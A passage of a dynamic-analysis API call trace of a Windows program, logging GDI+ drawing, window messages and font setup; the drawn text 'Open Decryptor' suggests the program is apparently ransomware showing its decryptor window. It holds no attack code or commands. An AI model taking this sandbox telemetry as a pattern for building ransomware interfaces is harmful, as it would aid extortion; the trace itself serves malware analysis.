(graphics=0x6921c90, hdc=0xd010723) returned 0x0 [0167.585] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.585] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0167.585] GdipGetTextRenderingHint (graphics=0x6921c90, mode=0x19e788) returned 0x0 [0167.585] GdipGetDC (graphics=0x6921c90, hdc=0x19e774) returned 0x0 [0167.585] GetCurrentObject (hdc=0xd010723, type=0x1) returned 0xb00017 [0167.585] GetCurrentObject (hdc=0xd010723, type=0x2) returned 0x900010 [0167.585] GetCurrentObject (hdc=0xd010723, type=0x7) returned 0x8050721 [0167.585] GetCurrentObject (hdc=0xd010723, type=0x6) returned 0x8a01c2 [0167.585] SaveDC (hdc=0xd010723) returned 1 [0167.585] GetTextAlign (hdc=0xd010723) returned 0x0 [0167.585] GetTextColor (hdc=0xd010723) returned 0x0 [0167.585] GetCurrentObject (hdc=0xd010723, type=0x6) returned 0x8a01c2 [0167.585] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0167.585] SelectObject (hdc=0xd010723, h=0x4f0a0711) returned 0x8a01c2 [0167.585] GetBkMode (hdc=0xd010723) returned 2 [0167.585] SetBkMode (hdc=0xd010723, mode=1) returned 2 [0167.585] DrawTextExW (in: hdc=0xd010723, lpchText="06:58:09", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3050d44 | out: lpchText="06:58:09", lprc=0x19e708) returned 50 [0167.586] RestoreDC (hdc=0xd010723, nSavedDC=-1) returned 1 [0167.586] GdipReleaseDC (graphics=0x6921c90, hdc=0xd010723) returned 0x0 [0167.586] GdipGetDC (graphics=0x6921c90, hdc=0x19e924) returned 0x0 [0167.586] BitBlt (hdc=0x10105d6, x=0, y=0, cx=154, cy=50, hdcSrc=0xd010723, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.586] GdipReleaseDC (graphics=0x6921c90, hdc=0xd010723) returned 0x0 [0167.586] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.586] SelectObject (hdc=0xd010723, h=0x85000f) returned 0x8050721 [0167.586] DeleteDC (hdc=0xd010723) returned 1 [0167.586] GdipDeleteGraphics (graphics=0x6921c90) returned 0x0 [0167.586] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0167.586] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0167.586] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0167.587] WaitMessage () returned 1 [0167.723] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.723] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x257018d) returned 0x1 [0167.723] IsWindowUnicode (hWnd=0x30212) returned 1 [0167.723] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.723] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x257018d) returned 0x1 [0167.723] SetCursor (hCursor=0x10003) returned 0x10003 [0167.723] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.723] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.723] GetKeyState (nVirtKey=1) returned 0 [0167.723] GetKeyState (nVirtKey=2) returned 0 [0167.723] GetKeyState (nVirtKey=4) returned 0 [0167.723] GetKeyState (nVirtKey=5) returned 0 [0167.723] GetKeyState (nVirtKey=6) returned 0 [0167.724] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0167.724] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0167.724] WaitMessage () returned 1 [0167.784] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.785] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x257018d) returned 0x1 [0167.785] IsWindowUnicode (hWnd=0x30212) returned 1 [0167.785] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.785] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x257018d) returned 0x1 [0167.785] GetDlgItem (hDlg=0x8004e, nIDDlgItem=0) returned 0x0 [0167.785] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x201, lParam=0x15f005c) returned 0x0 [0167.785] GetDlgItem (hDlg=0x1023e, nIDDlgItem=0) returned 0x0 [0167.785] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x210, wParam=0x201, lParam=0x1be005c) returned 0x0 [0167.785] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0167.785] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0167.785] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0167.785] SetCursor (hCursor=0x10003) returned 0x10003 [0167.786] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.786] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.786] GetKeyState (nVirtKey=1) returned -127 [0167.786] GetKeyState (nVirtKey=2) returned 0 [0167.786] GetKeyState (nVirtKey=4) returned 0 [0167.786] GetKeyState (nVirtKey=5) returned 0 [0167.786] GetKeyState (nVirtKey=6) returned 0 [0167.786] IsWindowVisible (hWnd=0x30212) returned 1 [0167.786] IsWindowEnabled (hWnd=0x30212) returned 1 [0167.786] SetFocus (hWnd=0x30212) returned 0x30212 [0167.786] GetFocus () returned 0x30212 [0167.786] GetFocus () returned 0x30212 [0167.786] GetFocus () returned 0x30212 [0167.786] GetKeyState (nVirtKey=1) returned -127 [0167.786] GetKeyState (nVirtKey=2) returned 0 [0167.786] GetKeyState (nVirtKey=4) returned 0 [0167.786] GetKeyState (nVirtKey=5) returned 0 [0167.786] GetKeyState (nVirtKey=6) returned 0 [0167.786] GetCapture () returned 0x0 [0167.786] SetCapture (hWnd=0x30212) returned 0x0 [0167.786] GetKeyState (nVirtKey=1) returned -127 [0167.786] GetKeyState (nVirtKey=2) returned 0 [0167.786] GetKeyState (nVirtKey=4) returned 0 [0167.786] GetKeyState (nVirtKey=5) returned 0 [0167.786] GetKeyState (nVirtKey=6) returned 0 [0167.786] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0167.786] InvalidateRect (hWnd=0x30212, lpRect=0x19eaa0, bErase=0) returned 1 [0167.786] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.786] IsWindowUnicode (hWnd=0x30212) returned 1 [0167.786] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.787] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.787] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.787] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3050e24, cPoints=0x1 | out: lpPoints=0x3050e24) returned 36176186 [0167.787] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0167.787] InvalidateRect (hWnd=0x30212, lpRect=0x19ea40, bErase=0) returned 1 [0167.787] UpdateWindow (hWnd=0x30212) returned 1 [0167.787] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e558 | out: lpPaint=0x19e558) returned 0x1b010670 [0167.787] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.787] CreateCompatibleDC (hdc=0x1b010670) returned 0xf010723 [0167.787] SelectObject (hdc=0xf010723, h=0x8050721) returned 0x85000f [0167.787] GdipCreateFromHDC (hdc=0xf010723, graphics=0x19e570) returned 0x0 [0167.787] GdipTranslateWorldTransform (graphics=0x6921c90, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0167.787] GdipSetClipRectI (graphics=0x6921c90, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0167.787] GdipCreateMatrix (matrix=0x19e5b8) returned 0x0 [0167.787] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x69206e8) returned 0x0 [0167.787] GdipIsMatrixIdentity (matrix=0x69206e8, result=0x19e5d0) returned 0x0 [0167.787] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0167.788] GdipGetMatrixElements (matrix=0x69206e8, matrixOut=0xf75be8) returned 0x0 [0167.788] LocalFree (hMem=0xf75be8) returned 0x0 [0167.788] GdipDeleteMatrix (matrix=0x69206e8) returned 0x0 [0167.788] GdipCreateRegion (region=0x19e5b8) returned 0x0 [0167.788] GdipGetClip (graphics=0x6921c90, region=0x6921f70) returned 0x0 [0167.788] GdipIsInfiniteRegion (region=0x6921f70, graphics=0x6921c90, result=0x19e5c4) returned 0x0 [0167.788] GdipSaveGraphics (graphics=0x6921c90, state=0x19e5f0) returned 0x0 [0167.788] GdipRestoreGraphics (graphics=0x6921c90, state=0xfd2d0dbd) returned 0x0 [0167.788] GdipDeleteRegion (region=0x6921f70) returned 0x0 [0167.788] GdipGetDC (graphics=0x6921c90, hdc=0x19e3a0) returned 0x0 [0167.788] GetCurrentObject (hdc=0xf010723, type=0x1) returned 0xb00017 [0167.788] GetCurrentObject (hdc=0xf010723, type=0x2) returned 0x900010 [0167.788] GetCurrentObject (hdc=0xf010723, type=0x7) returned 0x8050721 [0167.788] GetCurrentObject (hdc=0xf010723, type=0x6) returned 0x8a01c2 [0167.788] SaveDC (hdc=0xf010723) returned 1 [0167.788] GetNearestColor (hdc=0xf010723, color=0x323533) returned 0x323533 [0167.788] GetNearestColor (hdc=0xf010723, color=0x111111) returned 0x111111 [0167.788] GetNearestColor (hdc=0xf010723, color=0x0) returned 0x0 [0167.788] GetNearestColor (hdc=0xf010723, color=0x868c88) returned 0x868c88 [0167.788] GetNearestColor (hdc=0xf010723, color=0x6994f5) returned 0x6994f5 [0167.788] GetNearestColor (hdc=0xf010723, color=0x969c98) returned 0x969c98 [0167.788] GetNearestColor (hdc=0xf010723, color=0x868c88) returned 0x868c88 [0167.789] GetNearestColor (hdc=0xf010723, color=0x3c3f3d) returned 0x3c3f3d [0167.789] GetNearestColor (hdc=0xf010723, color=0x6994f5) returned 0x6994f5 [0167.789] RestoreDC (hdc=0xf010723, nSavedDC=-1) returned 1 [0167.789] GdipReleaseDC (graphics=0x6921c90, hdc=0xf010723) returned 0x0 [0167.789] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x4f0a0711 [0167.789] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e25c, format=0x102415, lpdtp=0x3051310 | out: lpchText="Open Decryptor", lprc=0x19e25c) returned 60 [0167.789] GdipCreateRegion (region=0x19e2e4) returned 0x0 [0167.789] GdipGetClip (graphics=0x6921c90, region=0x6921f70) returned 0x0 [0167.789] GdipCreateMatrix (matrix=0x19e2e4) returned 0x0 [0167.789] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x6915f08) returned 0x0 [0167.789] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e2fc) returned 0x0 [0167.789] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0167.789] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0167.789] LocalFree (hMem=0xf75be8) returned 0x0 [0167.789] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0167.789] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0167.789] LocalFree (hMem=0xf75c20) returned 0x0 [0167.790] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0167.790] GdipIsInfiniteRegion (region=0x6921f70, graphics=0x6921c90, result=0x19e324) returned 0x0 [0167.790] GdipIsInfiniteRegion (region=0x6921f70, graphics=0x6921c90, result=0x19e314) returned 0x0 [0167.790] GdipGetRegionHRgn (region=0x6921f70, graphics=0x6921c90, hRgn=0x19e314) returned 0x0 [0167.790] GdipDeleteRegion (region=0x6921f70) returned 0x0 [0167.790] GdipGetDC (graphics=0x6921c90, hdc=0x19e32c) returned 0x0 [0167.790] GetCurrentObject (hdc=0xf010723, type=0x1) returned 0xb00017 [0167.790] GetCurrentObject (hdc=0xf010723, type=0x2) returned 0x900010 [0167.790] GetCurrentObject (hdc=0xf010723, type=0x7) returned 0x8050721 [0167.790] GetCurrentObject (hdc=0xf010723, type=0x6) returned 0x8a01c2 [0167.790] SaveDC (hdc=0xf010723) returned 1 [0167.790] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x8a0406f7 [0167.790] GetClipRgn (hdc=0xf010723, hrgn=0x8a0406f7) returned 0 [0167.790] SelectClipRgn (hdc=0xf010723, hrgn=0x1804070e) returned 2 [0167.790] DeleteObject (ho=0x8a0406f7) returned 1 [0167.790] DeleteObject (ho=0x1804070e) returned 1 [0167.790] OffsetViewportOrgEx (in: hdc=0xf010723, x=0, y=0, lppt=0x3051500 | out: lppt=0x3051500) returned 1 [0167.790] GetNearestColor (hdc=0xf010723, color=0x3c3f3d) returned 0x3c3f3d [0167.790] CreateSolidBrush (color=0x3c3f3d) returned 0x2810073a [0167.790] FillRect (hDC=0xf010723, lprc=0x19e330, hbr=0x2810073a) returned 1 [0167.790] DeleteObject (ho=0x2810073a) returned 1 [0167.790] RestoreDC (hdc=0xf010723, nSavedDC=-1) returned 1 [0167.791] GdipReleaseDC (graphics=0x6921c90, hdc=0xf010723) returned 0x0 [0167.791] GdipGetTextRenderingHint (graphics=0x6921c90, mode=0x19e3a8) returned 0x0 [0167.791] GdipGetDC (graphics=0x6921c90, hdc=0x19e394) returned 0x0 [0167.791] GetCurrentObject (hdc=0xf010723, type=0x1) returned 0xb00017 [0167.791] GetCurrentObject (hdc=0xf010723, type=0x2) returned 0x900010 [0167.791] GetCurrentObject (hdc=0xf010723, type=0x7) returned 0x8050721 [0167.791] GetCurrentObject (hdc=0xf010723, type=0x6) returned 0x8a01c2 [0167.791] SaveDC (hdc=0xf010723) returned 1 [0167.791] GetTextAlign (hdc=0xf010723) returned 0x0 [0167.791] GetTextColor (hdc=0xf010723) returned 0x0 [0167.791] SetTextColor (hdc=0xf010723, color=0x6994f5) returned 0x0 [0167.791] GetCurrentObject (hdc=0xf010723, type=0x6) returned 0x8a01c2 [0167.791] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e0dc | out: pv=0x19e0dc) returned 92 [0167.791] SelectObject (hdc=0xf010723, h=0x110a0722) returned 0x8a01c2 [0167.791] GetBkMode (hdc=0xf010723) returned 2 [0167.791] SetBkMode (hdc=0xf010723, mode=1) returned 2 [0167.791] DrawTextExW (in: hdc=0xf010723, lpchText="Open Decryptor", cchText=14, lprc=0x19e1c4, format=0x102415, lpdtp=0x30517bc | out: lpchText="Open Decryptor", lprc=0x19e1c4) returned 60 [0167.792] DrawTextExW (in: hdc=0xf010723, lpchText="Open Decryptor", cchText=14, lprc=0x19e328, format=0x102015, lpdtp=0x30517bc | out: lpchText="Open Decryptor", lprc=0x19e328) returned 60 [0167.792] RestoreDC (hdc=0xf010723, nSavedDC=-1) returned 1 [0167.792] GdipReleaseDC (graphics=0x6921c90, hdc=0xf010723) returned 0x0 [0167.792] GetFocus () returned 0x30212 [0167.792] GetFocus () returned 0x30212 [0167.792] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e42c) returned 0x0 [0167.792] GdipDrawRectangleI (graphics=0x6921c90, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0167.792] GdipDeletePen (pen=0x6915e78) returned 0x0 [0167.792] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e410) returned 0x0 [0167.792] GdipDrawRectangleI (graphics=0x6921c90, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0167.792] GdipDeletePen (pen=0x6915e78) returned 0x0 [0167.792] GdipGetDC (graphics=0x6921c90, hdc=0x19e5b0) returned 0x0 [0167.793] BitBlt (hdc=0x1b010670, x=0, y=0, cx=178, cy=111, hdcSrc=0xf010723, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.793] GdipReleaseDC (graphics=0x6921c90, hdc=0xf010723) returned 0x0 [0167.793] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.793] SelectObject (hdc=0xf010723, h=0x85000f) returned 0x8050721 [0167.793] DeleteDC (hdc=0xf010723) returned 1 [0167.793] GdipDeleteGraphics (graphics=0x6921c90) returned 0x0 [0167.793] EndPaint (hWnd=0x30212, lpPaint=0x19e554) returned 1 [0167.793] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3051840, cPoints=0x1 | out: lpPoints=0x3051840) returned 36176186 [0167.793] WindowFromPoint (Point=0x18d) returned 0x30212 [0167.793] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x257018d) returned 0x1 [0167.793] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0167.793] NotifyWinEvent (event=0x800c, hwnd=0x30212, idObject=-4, idChild=0) [0167.793] GetUserNameW (in: lpBuffer=0x19e704, pcbBuffer=0x19e97c | out: lpBuffer="FD1HVy", pcbBuffer=0x19e97c) returned 1 [0167.794] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.795] AdjustWindowRectEx (in: lpRect=0x19e91c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x19e91c) returned 1 [0167.795] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.795] AdjustWindowRectEx (in: lpRect=0x19e458, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e458) returned 1 [0167.795] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.795] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0167.796] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.796] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0167.796] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.796] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0167.796] GetDC (hWnd=0x0) returned 0x1e0106e1 [0167.796] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19e340) returned 0x0 [0167.796] GdipGetFontHeight (font=0x57fef48, graphics=0x6921c20, height=0x19e338) returned 0x0 [0167.796] GdipDeleteGraphics (graphics=0x6921c20) returned 0x0 [0167.796] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0167.796] GetSystemMetrics (nIndex=5) returned 1 [0167.796] GetSystemMetrics (nIndex=6) returned 1 [0167.797] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.797] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e468) returned 1 [0167.797] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.797] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0167.797] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.797] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e468) returned 1 [0167.797] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.797] AdjustWindowRectEx (in: lpRect=0x19e470, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e470) returned 1 [0167.798] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.798] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0167.799] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.799] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0167.799] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.799] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e3e4) returned 1 [0167.799] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0167.799] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x3053148) returned 0x0 [0167.799] GdipGetFontSize (font=0x691c860, size=0x305314c) returned 0x0 [0167.799] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.799] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.799] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.800] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.800] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0167.800] GdipCreateFont (fontFamily=0x57f8ad8, emSize=0x41640000, style=0, unit=0x3, font=0x30533bc) returned 0x0 [0167.800] GdipGetFontSize (font=0x691c888, size=0x30533c0) returned 0x0 [0167.800] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.800] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.800] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.800] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.800] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0167.800] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x3053660) returned 0x0 [0167.800] GdipGetFontSize (font=0x691c590, size=0x3053664) returned 0x0 [0167.801] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.801] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.801] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.801] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.801] IsAppThemed () returned 0x1 [0167.801] GetThemeAppProperties () returned 0x3 [0167.801] GetThemeAppProperties () returned 0x3 [0167.801] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.801] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.802] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.802] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.802] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0167.802] GdipCreateFont (fontFamily=0x57faee0, emSize=0x42100000, style=3, unit=0x3, font=0x3053bd0) returned 0x0 [0167.802] GdipGetFontSize (font=0x691c6a8, size=0x3053bd4) returned 0x0 [0167.802] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.802] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.802] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.802] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.802] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0167.802] GdipCreateFont (fontFamily=0x57faee0, emSize=0x417c0000, style=1, unit=0x3, font=0x3053ea0) returned 0x0 [0167.802] GdipGetFontSize (font=0x691c6d0, size=0x3053ea4) returned 0x0 [0167.803] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.803] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0167.803] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.803] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0167.854] GdipLoadImageFromStream (stream=0x2a2feb0, image=0x19de80) returned 0x0 [0167.854] GdipImageForceValidation (image=0x6921c20) returned 0x0 [0167.855] GdipGetImageType (image=0x6921c20, type=0x19de7c) returned 0x0 [0167.855] GdipGetImageRawFormat (image=0x6921c20, format=0x19ddf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0167.855] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.856] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0167.856] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.856] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0167.856] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0167.856] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41900000, style=1, unit=0x3, font=0x3059374) returned 0x0 [0167.856] GdipGetFontSize (font=0x691c8d8, size=0x3059378) returned 0x0 [0167.856] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.856] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.857] AdjustWindowRectEx (in: lpRect=0x19e3b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3b8) returned 1 [0167.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.857] AdjustWindowRectEx (in: lpRect=0x19e418, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e418) returned 1 [0167.857] GetSystemMetrics (nIndex=59) returned 1460 [0167.857] GetSystemMetrics (nIndex=60) returned 920 [0167.857] GetSystemMetrics (nIndex=34) returned 136 [0167.857] GetSystemMetrics (nIndex=35) returned 39 [0167.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.857] AdjustWindowRectEx (in: lpRect=0x19e318, 